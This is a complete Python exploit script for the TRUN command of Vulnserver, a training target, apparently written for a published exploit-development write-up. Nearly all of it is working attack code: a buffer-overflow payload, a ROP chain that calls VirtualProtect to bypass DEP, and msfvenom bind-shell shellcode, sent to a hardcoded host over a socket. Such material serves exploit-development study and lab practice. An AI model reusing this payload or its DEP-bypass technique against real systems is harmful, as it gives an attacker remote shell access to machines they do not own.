#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = "192.168.0.20"
PORT = 9999


def create_rop_chain():
    """Return ROP chain generated with mona.py - www.corelan.be."""
    rop_gadgets = [
        # [---INFO:gadgets_to_set_esi:---]
        0x75AF7361,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x6250609C,  # ptr to &VirtualProtect() [IAT essfunc.dll]
        0x759DDE46,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll]
        0x75D61470,  # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
        # [---INFO:gadgets_to_set_ebp:---]
        0x76F0615A,  # POP EBP # RETN [ntdll.dll] ** REBASED ** ASLR
        0x625011C7,  # & jmp esp [essfunc.dll]
        # [---INFO:gadgets_to_set_ebx:---]
        0x75A203AD,  # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0xFFFFFDFF,  # Value to negate, will become 0x00000201
        0x76F14E39,  # NEG EAX # RETN [ntdll.dll] ** REBASED ** ASLR
        0x75A77926,  # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
        # [---INFO:gadgets_to_set_edx:---]
        0x75AF6AF7,  # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
        0xFFFFFFC0,  # Value to negate, will become 0x00000040
        0x756A87DA,  # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
        0x75D2C549,  # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
        # [---INFO:gadgets_to_set_ecx:---]
        0x767173F8,  # POP ECX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
        0x75A4A3AC,  # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
        # [---INFO:gadgets_to_set_edi:---]
        0x75AE9998,  # POP EDI # RETN [msvcrt.dll] ** REBASED ** ASLR
        0x756A9C0A,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
        # [---INFO:gadgets_to_set_eax:---]
        0x75A43571,  # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
        0x90909090,  # nop
        # [---INFO:pushad:---]
        0x76EA9599,  # PUSHAD # RETN [ntdll.dll] ** REBASED ** ASLR
    ]
    return b"".join(struct.pack("<I", _) for _ in rop_gadgets)


# msfvenom -p windows/shell_bind_tcp -f python -v SHELL -b '\x00'
SHELL = b""
SHELL += b"\xbe\x9a\xd8\xa3\xeb\xd9\xc6\xd9\x74\x24\xf4\x5d"
SHELL += b"\x2b\xc9\xb1\x53\x31\x75\x12\x83\xc5\x04\x03\xef"
SHELL += b"\xd6\x41\x1e\xf3\x0f\x07\xe1\x0b\xd0\x68\x6b\xee"
SHELL += b"\xe1\xa8\x0f\x7b\x51\x19\x5b\x29\x5e\xd2\x09\xd9"
SHELL += b"\xd5\x96\x85\xee\x5e\x1c\xf0\xc1\x5f\x0d\xc0\x40"
SHELL += b"\xdc\x4c\x15\xa2\xdd\x9e\x68\xa3\x1a\xc2\x81\xf1"
SHELL += b"\xf3\x88\x34\xe5\x70\xc4\x84\x8e\xcb\xc8\x8c\x73"
SHELL += b"\x9b\xeb\xbd\x22\x97\xb5\x1d\xc5\x74\xce\x17\xdd"
SHELL += b"\x99\xeb\xee\x56\x69\x87\xf0\xbe\xa3\x68\x5e\xff"
SHELL += b"\x0b\x9b\x9e\x38\xab\x44\xd5\x30\xcf\xf9\xee\x87"
SHELL += b"\xad\x25\x7a\x13\x15\xad\xdc\xff\xa7\x62\xba\x74"
SHELL += b"\xab\xcf\xc8\xd2\xa8\xce\x1d\x69\xd4\x5b\xa0\xbd"
SHELL += b"\x5c\x1f\x87\x19\x04\xfb\xa6\x38\xe0\xaa\xd7\x5a"
SHELL += b"\x4b\x12\x72\x11\x66\x47\x0f\x78\xef\xa4\x22\x82"
SHELL += b"\xef\xa2\x35\xf1\xdd\x6d\xee\x9d\x6d\xe5\x28\x5a"
SHELL += b"\x91\xdc\x8d\xf4\x6c\xdf\xed\xdd\xaa\x8b\xbd\x75"
SHELL += b"\x1a\xb4\x55\x85\xa3\x61\xc3\x8d\x02\xda\xf6\x70"
SHELL += b"\xf4\x8a\xb6\xda\x9d\xc0\x38\x05\xbd\xea\x92\x2e"
SHELL += b"\x56\x17\x1d\x41\xfb\x9e\xfb\x0b\x13\xf7\x54\xa3"
SHELL += b"\xd1\x2c\x6d\x54\x29\x07\xc5\xf2\x62\x41\xd2\xfd"
SHELL += b"\x72\x47\x74\x69\xf9\x84\x40\x88\xfe\x80\xe0\xdd"
SHELL += b"\x69\x5e\x61\xac\x08\x5f\xa8\x46\xa8\xf2\x37\x96"
SHELL += b"\xa7\xee\xef\xc1\xe0\xc1\xf9\x87\x1c\x7b\x50\xb5"
SHELL += b"\xdc\x1d\x9b\x7d\x3b\xde\x22\x7c\xce\x5a\x01\x6e"
SHELL += b"\x16\x62\x0d\xda\xc6\x35\xdb\xb4\xa0\xef\xad\x6e"
SHELL += b"\x7b\x43\x64\xe6\xfa\xaf\xb7\x70\x03\xfa\x41\x9c"
SHELL += b"\xb2\x53\x14\xa3\x7b\x34\x90\xdc\x61\xa4\x5f\x37"
SHELL += b"\x22\xd4\x15\x15\x03\x7d\xf0\xcc\x11\xe0\x03\x3b"
SHELL += b"\x55\x1d\x80\xc9\x26\xda\x98\xb8\x23\xa6\x1e\x51"
SHELL += b"\x5e\xb7\xca\x55\xcd\xb8\xde"

PAYLOAD = (
    b"TRUN ."
    + b"A" * 2006
    +
    # 62501022  \.  C3                    RETN
    struct.pack("<L", 0x62501022)
    + create_rop_chain()
    +
    # Align stack
    b"\x83\xE4\xF0"
    + SHELL  # and esp, 0xfffffff0
    + b"C" * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
